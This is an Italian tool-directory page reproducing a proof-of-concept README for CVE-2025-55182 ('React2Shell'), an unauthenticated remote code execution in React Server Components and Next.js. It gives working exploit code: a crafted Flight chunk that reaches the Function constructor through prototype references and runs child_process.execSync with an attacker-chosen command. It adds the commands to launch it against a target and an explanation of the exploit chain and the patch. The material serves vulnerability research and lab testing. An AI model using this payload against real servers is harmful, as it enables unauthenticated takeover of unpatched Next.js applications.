Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
cve-2025-55182-poc — Prova di concetto per CVE-2025-55182 (React2Shell): RCE non autenticato in React Server Components / Next.js tramite deserializzazione del protocollo Flight. | Kitploit
Strumenti/GitHubGitHub/monarchfish/cve-2025-55182-poc
Analisi delle VulnerabilitàAnalisi del CodiceExploitSfruttamento di Applicazioni WebPenetration TestingSviluppo Payload
GitHubmonarchfish/cve-2025-55182-poc

cve-2025-55182-poc

Prova di concetto per CVE-2025-55182 (React2Shell): RCE non autenticato in React Server Components / Next.js tramite deserializzazione del protocollo Flight.

Vedi Repository
5 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Informazioni di Base

CVE-2025-55182 è una delle vulnerabilità dei framework web più impattanti del 2025. React Server Components (RSC) è ormai l'architettura dominante nelle applicazioni Next.js moderne, e un gran numero di progetti standard creati con create-next-app è interessato, senza la necessità di alcun codice personalizzato per essere sfruttato.

ElementoContenuto
ID CVECVE-2025-55182
AliasReact2Shell
Tipo di vulnerabilitàEsecuzione Remota di Codice non autenticata (Unauthenticated RCE); CWE-502 Deserializzazione di Dati Non Fidati (Deserialization of Untrusted Data) [3]
Punteggio CVSS10.0 (Critical) (CVSS 3.1, Facebook/CNA [2])
Pacchetti interessatireact-server-dom-parcel, react-server-dom-turbopack, react-server-dom-webpack
Versioni interessateReact 19.0.0~19.2.0 / Next.js 14.3.0-canary.77 e successive, 15.x, 16.x
Complessità dell'attaccoMolto bassa (singola richiesta HTTP POST)
Necessità di autenticazioneNo

Procedura di Creazione del POC

1. Creare l'App usando la sintassi ufficiale

Creare un'app Next utilizzando una versione vulnerabile (16.0.6):

root@kitploit:~
pnpm create [email protected] next-app --yes

2. Creare una Server Action di test

  1. In next-app/app/ creare un nuovo file actions.ts e contrassegnarlo come Server Action:

    root@kitploit:~
    "use server";
    
    export async function testAction(formData: FormData) {
      console.log("Action called with:", formData);
    }
    
  2. Nella homepage (ad esempio app/page.tsx) aggiungere un form con action che punti a testAction e includere almeno un campo (es. un hidden input).

    Next.js genererà per questo form un hidden input HTML con name="$ACTION_ID_<40 字元 hex>"; il POC estrarrà questo ID dalla homepage tramite una regex.

3. Creare un ambiente POC containerizzato sicuro

I file next-app/Dockerfile e docker-compose.yml nel progetto possono essere usati per buildare ed eseguire l'app Next. Per la scrittura ci si può riferire all'esempio ufficiale [8].

Eseguire nella directory radice del progetto:

root@kitploit:~
docker compose up --build -d

L'app Next sarà accessibile all'indirizzo http://localhost:3000.

Al termine del POC, rimuovere completamente l'ambiente Docker:

root@kitploit:~
docker compose down -v

Passaggi di Sfruttamento della Vulnerabilità

Passo 1: Ottenere l'ACTION_ID

Durante l'esecuzione del POC, lo script effettuerà il fetch della homepage ed estrarrà l'ID tramite la regex \$ACTION_ID_([a-f0-9]{40})/. Esempio:

root@kitploit:~
const ACTION_ID_REGEX = /\$ACTION_ID_([a-f0-9]{40})/

async function extractActionIdFromPage(baseUrl: string) {
  const response = await fetch(baseUrl);
  const html = await response.text();
  const match = html.match(ACTION_ID_REGEX);
  return match ? match[1] : "";
}

Passo 2: Eseguire lo Sfruttamento

Dopo aver installato le dipendenze nella directory radice del progetto, eseguire:

root@kitploit:~
pnpm install
pnpm poc [BASE_URL] [EXECUTABLE]

Di seguito il frammento di codice chiave:

root@kitploit:~
function escapeExecutable(executable: string) {
  return executable.replace(/\\/g, "\\\\").replace(/'/g, "\\'");
}

const escapedExecutable = escapeExecutable(executable);

const craftedChunk = {
  then: "$1:__proto__:then",
  status: "resolved_model",
  reason: -1,
  value: '{"then": "$B0"}',
  _response: {
    _prefix: `process.mainModule.require('child_process').execSync('${escapedExecutable}');`,
    _formData: {
      get: "$1:constructor:constructor",
    },
  },
};

const formData = new FormData();
formData.append("0", JSON.stringify(craftedChunk));
formData.append("1", '"$@0"');

const controller = new AbortController();
const timeoutId = setTimeout(() => controller.abort(), 3000);

try {
  const response = await fetch(baseUrl, {
    method: "POST",
    headers: { "Next-Action": actionId },
    body: formData,
    signal: controller.signal,
  });
  clearTimeout(timeoutId);
  const text = await response.text();
  console.log(`Status Code: ${response.status}`);
  console.log(`Response: ${text.slice(0, 500)}`);
} catch (e) {
  // handle timeout or error
}

Esempio di scrittura di un file sulla macchina target:

root@kitploit:~
pnpm poc http://localhost:3000 "echo 'RCE_SUCCESS' > /tmp/rce_output"

Passo 3: Osservare i Risultati

  • In caso di RCE riuscito, il server potrebbe bloccarsi o andare in timeout dopo l'esecuzione del comando: il timeout della richiesta è un comportamento previsto.
  • Verificare sulla macchina target che il comando sia stato eseguito (ad esempio controllando il file, il processo).
  • È possibile usare docker compose exec per entrare nel container e ispezionare, oppure utilizzare Docker Desktop.

Spiegazione del Principio

Posizione della Vulnerabilità

La vulnerabilità risiede nel meccanismo di deserializzazione del protocollo Flight di React (RSC Flight Deserializer). Questo meccanismo è responsabile del trasferimento dello stato dei componenti React tra server e client, ma il processo presenta un grave problema di trust boundary.

Il protocollo React Flight è il wire format che React ha progettato per Server Components e Server Actions: serializza l'albero dei componenti, i parametri delle funzioni, ecc., in un flusso di chunk rappresentato in JSON, e stabilisce riferimenti tra i chunk tramite $numero e $numero:nomeChiave, consentendo al server di ricostruire i valori JavaScript completi.

Catena di Sfruttamento (Exploit Chain)

root@kitploit:~
Attaccante invia HTTP POST malevolo
        ↓
[Fase 1] Crea un oggetto con auto-riferimento (Self-referential loop)
        ↓
[Fase 2] Induce il motore JavaScript a chiamare una funzione controllata dall'attaccante
        ↓
[Fase 3] Inietta dati malevoli per attivare il flusso di inizializzazione di Flight
        ↓
[Fase 4] Tramite Blob Handler chiama il Function constructor
        ↓
Esecuzione di JavaScript arbitrario sul server (RCE)

React Server e Formato di Trasmissione

Le Server Functions di React (in Next.js, le Server Actions) serializzano i dati che il frontend invia al backend tramite il protocollo React Flight in "blocchi" chiamati chunk, inviati poi come form data.

I vantaggi di questo design includono:

  • Trasmissione in streaming: i chunk possono essere generati e analizzati in sequenza, senza attendere l'intero payload, facilitando la gestione della latenza e della memoria.
  • Deduplicazione e condivisione: uno stesso dato viene serializzato una sola volta e più riferimenti puntano ad esso, riducendo la duplicazione e il volume trasmesso.
  • Compatibilità con form POST: i chunk vengono inviati come campi multipart, senza necessità di protocolli binari personalizzati, e sono compatibili con CDN, proxy e debug esistenti.
  • Espressività per strutture complesse: supporta oggetti annidati e strutture grafiche espresse tramite riferimenti, soddisfacendo i tipi ricchi richiesti dalle RPC.

I chunk possono riferirsi tra loro, ad esempio:

  • chunk 0:["$1"] (riferimento al chunk 1)
  • chunk 1:{"object":"fruit","name":"$2:fruitName"} (riferimento al fruitName del chunk 2)
  • chunk 2:{"fruitName":"cherry"}

Il server interpreta ottenendo: { object: 'fruit', name: 'cherry' }. In altre parole, il protocollo consente di puntare alle proprietà di altri chunk con $numero:nomeChiave per comporre l'oggetto JavaScript finale.

Causa della Vulnerabilità

Nell'implementazione pre-patch, durante la risoluzione di questi riferimenti non veniva verificato rigorosamente se la chiave esistesse effettivamente come proprietà diretta dell'oggetto; gli attaccanti potevano quindi leggere le proprietà sul prototipo (prototype) dell'oggetto tramite i riferimenti.

Ad esempio, è possibile costruire il seguente payload:

  • chunk 0:["$1:__proto__:constructor:constructor"]
  • chunk 1:{"x":1}

Quando il server risolve "il __proto__ del chunk 1 → constructor → constructor", ottiene il costruttore di Function ([Function: Function]), cioè il costruttore nativo per creare funzioni a partire da stringhe. Ciò significa: tramite una catena di riferimenti impropria, è possibile ottenere Function sul server e quindi eseguire stringhe come codice.

thenable e await

Dopo aver ricevuto il form, Next.js utilizza decodeReplyFromBusboy per ricostruire i chunk in un valore, e su quel valore esegue un await.

In JavaScript, se un oggetto ha un metodo .then, viene considerato thenable; durante l'await viene chiamato questo .then. Pertanto, se si riesce a far sì che il .then del "risultato della decodifica" punti a una funzione controllata dall'attaccante (ad esempio il costruttore di Function menzionato), al momento dell'await quella logica verrà eseguita. Il passo successivo dell'attacco è: costruire un oggetto che dopo la decodifica appaia come un thenable, e far sì che il suo .then punti al punto di chiamata previsto (call gadget).

Dal «finto chunk» all'RCE

  1. Usare $@0 per riferire il "chunk originale"
    Nel protocollo $@numero significa "prendi il contenuto originale dell'N-esimo chunk, senza ulteriore analisi". Quindi si può fare in modo che chunk 1 sia "$@0", così durante la risoluzione viene letto il contenuto "grezzo" del chunk 0 stesso.

  2. Puntare il .then del chunk 0 al prototipo di Chunk
    Se chunk 0 è un oggetto della forma {"then": "$1:__proto__:then", ...}, e chunk 1 è "$@0", durante la risoluzione il .then del chunk 0 viene impostato su Chunk.prototype.then (nel protocollo Flight, Chunk è di per sé un thenable). In questo modo, quando Next.js esegue l'await sul risultato decodificato, entra nella logica di .then di Chunk.

  3. Triggerare initializeModelChunk
    In Chunk.prototype.then, se il "finto chunk" ha status impostato a "resolved_model", si entra in . Qui il del chunk viene analizzato come JSON e sull'oggetto risultante viene eseguito un ciclo di "revivificazione" (revive), che gestisce vari prefissi speciali (ad esempio i riferimenti blob che iniziano con ).

Metodo di Mitigazione (Riepilogo)

React ha corretto questa vulnerabilità nella PR #35277 [9] (commit e2fd5dc [10]), concentrandosi su due aspetti:

  1. Limitare la risoluzione delle proprietà per non seguire la catena del prototipo
    Nella logica di risoluzione dei riferimenti ai chunk (ad esempio in requireModule), è stata aggiunta una verifica tramite hasOwnProperty per controllare che la chiave esista effettivamente come proprietà diretta dell'oggetto; in caso contrario, viene restituito undefined, impedendo l'accesso a proprietà come constructor dal __proto__ che non dovrebbero essere esposte. Questa modifica è stata applicata a vari moduli Flight (come ReactFlightClientConfigBundlerNode, ReactFlightClientConfigBundlerWebpack e le corrispondenti configurazioni Parcel/Turbopack), bloccando la catena di sfruttamento che portava dal costruttore Function alla costruzione di un thenable fino all'esecuzione di codice arbitrario tramite il get gadget.

  2. Gestione degli errori in decodeReplyFromBusboy
    Nell'analisi dei form data (in resolveField, resolveFileComplete, ecc.) è stato aggiunto un blocco try/catch. In caso di eccezione durante l'analisi, viene chiamato busboyStream.destroy(error), in modo che l'errore venga propagato correttamente e lo stream non rimanga in uno stato inconsistente, riducendo la superficie di attacco in caso di analisi anomala.


Link di Riferimento

  1. NVD — CVE-2025-55182
  2. CVSS 3.1 Calculator (Facebook/CNA)
  3. CWE-502 — Deserialization of Untrusted Data
  4. Comunicato ufficiale React — Critical security vulnerability in React Server Components
  5. Comunicato di sicurezza Facebook — CVE-2025-55182
  6. Catalogo CISA delle vulnerabilità note sfruttate
  7. Comunicato di sicurezza Next.js — RCE in React Server Components
  8. Esempio Dockerfile Next.js with-docker
  9. React PR #35277 — Patch FlightReplyServer with fixes from ReactFlightClient
  10. Modifiche specifiche del React PR #35277 (commit e2fd5dc)
  11. Riferimento POC
Scarica lo strumento
initializeModelChunk
value
$B
  • Punto di chiamata: _response._formData.get(_prefix + id)
    Durante la gestione del prefisso $B, il programma esegue:
    response._formData.get(response._prefix + un certo id).
    Se nel finto chunk si controllano, tramite _response, sia _formData che _prefix, e si punta _formData.get al costruttore di Function, e si imposta _prefix come la stringa di codice da eseguire, quella riga diventa:
    Function("il nostro codice" + "0")
    cioè "crea una funzione a partire dalla stringa". Questa funzione viene restituita come valore .then dello stesso chunk e, nella stessa catena di promise, viene chiamata con await, eseguendo così il nostro codice sul server.

  • RCE effettivo
    Sostituendo "il nostro codice" con, ad esempio:
    process.mainModule.require('child_process').execSync('comando di sistema da eseguire');
    si ottiene Esecuzione Remota di Codice (RCE) sul server.